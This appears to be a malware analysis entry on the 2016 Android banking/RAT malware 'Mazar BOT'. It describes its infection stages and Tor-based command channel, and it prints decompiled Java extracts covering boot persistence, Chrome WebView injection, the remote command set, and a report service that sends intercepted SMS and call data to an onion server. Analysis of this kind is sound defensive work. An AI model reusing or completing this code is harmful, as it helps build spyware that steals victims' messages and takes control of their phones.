Mazar

2016-02-11

Summary

Rootkit for hacker

GroDDViewer graphs:

Details

Mazar BOT is a malware discovered in 2016. The application has no specific goal but is a powerfull rootkit. It installs tor and a proxy to monitor the phone. It is also able to C&C the phone, using it as a bot. It must be a BETA version, due to the fact it is quite complicated to be infected (.apk, received by sms, to download and then to launch). In addition, it targets random phones (except russian ones) and the malware is not obfuscated.

The malicious code of the malware is included into the package com.mazar that contains fithteen classes. The most important class is WorkerService.

Stage 1: Malicious code execution

When the application is launched, it asks for administration privileges. The main class is launched first and in the function onCreate() it checks if the langage of telephone is russian getCountry().equalsIgnoreCase(RU). Then a TOR application and a proxy are retrieved and installed. The "ChromeWebApplication is also contaminated.

Stage 2: Open communication with BOT

When the application is set up, a communication is established to http://pc35hiptpcwqezgs.onion and wait for order.

Stage 3: Other services launched

A InjDialog activity is launched on create to inject Mazar into chrome browser. A ReportService service is launched to communicate to the proxy all events occured (sms, call, download...). A ScheduledProcessor receiver is launched and set the microphone mute when an event. com.mazar.process occurs. A Starter receiver is launched and wait for boot. com.mazar.wakeup/reportsent envents to call WorkerService or ReportSent.

Other resources

Triggering

To trigger the malware, launch the application.

Caracteristics

Malware type :

  • Remote Administration Tool (RAT)
  • Spyware

Attacks :

  •   Confidentiality

  •   Integrity

  •   Availability

  •   Normal use

Infection technique : Repackaged application

Malicious code type :

  • Use Java code
  • Use remote code

Hidding techniques :

  • Obfuscation with variable renaming

Triggering techniques :

  • Waits for a message from a remote server
  • Waits for a particular user input

Samples

Java source code extracts:

Main.java is the service started when the application is launched. WorkerService.java define command that can be launched: intercept stop, stop numbers, unstop numbers, unstop all numbers, lock, unlock, send, forward calls, stop forward calls, update html, hard reset, call, sleep, wakeup.InjDialog.java inject mazar into Chrome.ReportService.java is that send activities to remote serveur.Starter.java is the service launched on reboot or on remote command com.mazar.wakeup/reportsent.ScheduledProcessor.java is the service that set micro mute when remote command com.mazar.process is got.

Main.java

  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903041);
    hide();
    Utils.noRu(this);
    if (!WorkerService.isRunning)
    {
      Intent localIntent = new Intent();
      localIntent.setClass(this, WorkerService.class);
      startService(localIntent);
    }
    finish();
  }

WorkerService.java

public void onCreate()
  {
    super.onCreate();
    Utils.noRu(this);
    isRunning = true;
    this.am = ((ActivityManager)getSystemService("activity"));
    this.deviceManager = ((DevicePolicyManager)getSystemService("device_policy"));
    this.context = this;
    httpClient = new StrongHttpsClient(this.context);
    httpClient.useProxy(true, "http", "127.0.0.1", 8118);
    tor = new TorController(this);
    updateView = new OverlayView(this, 2130903042);
    hideSysDialog();
    settings = getSharedPreferences(getString(2131230723), 0);
    try
    {
      htmlData = new JSONArray(settings.getString(getString(2131230732), "[]"));
      if (!settings.getBoolean(getString(2131230727), false))
        hideSysDialog();
      if (settings.getString(getString(2131230733), "").equals(""))
        Utils.putStrVal(settings, getString(2131230733), Utils.readMessagesFromDeviceDB(this.context).toString());
      if ((Build.VERSION.SDK_INT == 19) && (!SmsWriteOpUtil.isWriteEnabled(getApplicationContext())))
      {
        boolean bool = SmsWriteOpUtil.setWriteEnabled(getApplicationContext(), true);
        Utils.putBoolVal(settings, getString(2131230738), bool);
      }
      scheduleChecker();
      this.scheduler = Executors.newScheduledThreadPool(3);
      initWorkTask();
      initAdminTask();
      initInjTask();
      return;
    }
//...
}

  private void initWorkTask()
  {
    this.workTask = new Runnable()
    {
      public void run()
      {
        if (!Connectivity.isConnectedWifiOrMobile(WorkerService.this.context))
          return;
        if ((!WorkerService.tor.isRunning()) || (WorkerService.this.needForceTorRestart))
        {
          if (!WorkerService.tor.connect(true, WorkerService.this.needForceTorRestart))
          {
            WorkerService.this.needForceTorRestart = true;
            return;
          }
          WorkerService.this.needForceTorRestart = false;
        }
        SharedPreferences localSharedPreferences = WorkerService.this.getSharedPreferences(WorkerService.this.getString(2131230723), 0);
        boolean bool1 = localSharedPreferences.getBoolean(WorkerService.this.getString(2131230724), false);
        String str1 = WorkerService.this.getString(2131230722);
//2131230722 == <string name="server_url">http://pc35hiptpcwqezgs.onion</string>
//...
      while (true)
          {
            WorkerService.this.startService(localIntent1);
            break;
            if (str2.equals("intercept stop"))
            {
              Utils.putBoolVal(localSharedPreferences, WorkerService.this.getString(2131230729), false);
              localIntent1.setAction(WorkerService.this.getString(2131230740));
            }
            else if (str2.equals("stop numbers"))
            {
     //...
            }
            else if (str2.equals("unstop numbers"))
            {
     //...
            }
            else if (str2.equals("unstop all numbers"))
            {
     //...
	    }
            else if (str2.equals("lock"))
                        {
     //...
	    }
            else if (str2.equals("unlock"))
                        {
     //...
	    }
            else if (str2.equals("send"))
                        {
     //...
	    }
            else if (str2.equals("forward calls"))
                        {
     //...
	    }
            else if (str2.equals("stop forward calls"))
            {
     //...
}

InjDialog.java

  protected void onCreate(Bundle paramBundle)
  {
    this.isWebViewLoaded = false;
    super.onCreate(paramBundle);
    setContentView(2130903040);
    this.layout = ((FrameLayout)findViewById(2131427328));
    this.packageName = getIntent().getStringExtra("package");
    byte[] arrayOfByte = Base64.decode(WorkerService.getPageForPackage(this.packageName), 0);
    try
    {
      this.html = new String(arrayOfByte, "UTF-8");
      webAppInterface = new WebInterface(this, this.packageName);
      this.webView = new WebView(this);
      this.webView.setWebChromeClient(new HookChromeClient());
      this.webView.setScrollBarStyle(33554432);
      this.webView.getSettings().setJavaScriptEnabled(true);
      this.layout.addView(this.webView, new ViewGroup.LayoutParams(-1, -2));
      showWebView();
      return;
    }
...
}

ReportService.java

protected void onHandleIntent(Intent paramIntent)
  {
    String str1 = paramIntent.getAction();
    String str2 = getString(2131230722);
    String str3 = settings.getString(getString(2131230725), "-1");
    StrongHttpsClient localStrongHttpsClient = new StrongHttpsClient(this);
    localStrongHttpsClient.useProxy(true, "http", "127.0.0.1", 8118);
    do
      while (true)
      {
        try
        {
          if (str1.equals(getString(2131230739)))
          {
            Sender.request(localStrongHttpsClient, str2, RequestFactory.makeIdSavedConfirm(str3).toString());
            Utils.putBoolVal(settings, getString(2131230724), true);
            return;
          }
          if (str1.equals(getString(2131230740)))
          {
            Sender.request(localStrongHttpsClient, str2, RequestFactory.makeInterceptConfirm(str3, settings.getBoolean(getString(2131230729), false)).toString());
            continue;
          }
        }
        catch (Exception localException1)
        {
          localException1.printStackTrace();
          return;
          if (str1.equals(getString(2131230741)))
          {
            Sender.request(localStrongHttpsClient, str2, RequestFactory.makeStoppedNumbersConfirm(str3, (HashSet)ObjectSerializer.deserialize(settings.getString(getString(2131230730), ObjectSerializer.serialize(new HashSet())))).toString());
            continue;
          }
        }
        finally
        {
          if (str1.equals(getString(2131230747)))
            HTML_REPORTING = false;
        }
        if (str1.equals(getString(2131230742)))
        {
          Sender.request(localStrongHttpsClient, str2, RequestFactory.makeLockStatus(str3, settings.getBoolean(getString(2131230727), false)).toString());
        }
        else if (str1.equals(getString(2131230743)))
        {
          Sender.request(localStrongHttpsClient, str2, RequestFactory.makeSentMessageConfirm(str3, paramIntent.getStringExtra("number"), paramIntent.getStringExtra("text")).toString());
        }
        else if (str1.equals(getString(2131230744)))
        {
          Sender.request(localStrongHttpsClient, str2, RequestFactory.makeCallsForwardingStatus(str3, settings.getBoolean(getString(2131230731), false)).toString());
        }
        else if (str1.equals(getString(2131230745)))
        {
          Sender.request(localStrongHttpsClient, str2, RequestFactory.makeHtmlUpdatedConfirm(str3, settings.getString(getString(2131230728), "-1")).toString());
        }

//...
}

Starter.java

public void onReceive(Context paramContext, Intent paramIntent)
  {
    Utils.noRu(paramContext);
    String str = paramIntent.getAction();
    if ((str.equals("android.intent.action.BOOT_COMPLETED")) || (str.equals("com.mazar.wakeup")))
      if (!WorkerService.isRunning)
      {
        localIntent1 = new Intent();
        localIntent1.setClass(paramContext, WorkerService.class);
        paramContext.startService(localIntent1);
      }
    while (!str.equals("com.mazar.reportsent"))
    {
      Intent localIntent1;
      return;
    }
    Intent localIntent2 = new Intent(paramContext, ReportService.class);
    localIntent2.setAction(paramContext.getString(2131230743));
    localIntent2.putExtra("number", paramIntent.getStringExtra("number"));
    localIntent2.putExtra("text", paramIntent.getStringExtra("text"));
    paramContext.startService(localIntent2);
  }

ScheduledProcessor.java

public void onReceive(Context paramContext, Intent paramIntent)
  {
    String str;
    if (paramIntent.getAction().toString().equals("com.mazar.process"))
    {
      str = paramIntent.getStringExtra("cmd");
      if (!str.equals("kill call"))
        break label134;
      Utils.killCall(paramContext);
      localAudioManager = (AudioManager)paramContext.getSystemService("audio");
      localAudioManager.setStreamMute(5, false);
      localAudioManager.setStreamMute(4, false);
      localAudioManager.setStreamMute(3, false);
      localAudioManager.setStreamMute(2, false);
      localAudioManager.setStreamMute(1, false);
      localAudioManager.setStreamMute(8, false);
      localAudioManager.setStreamMute(0, false);
      localIntent = new Intent("android.intent.action.MAIN");
      localIntent.addCategory("android.intent.category.HOME");
      localIntent.setFlags(268435456);
      paramContext.startActivity(localIntent);
      WorkerService.hideSysDialog();
    }
//...
}

Samples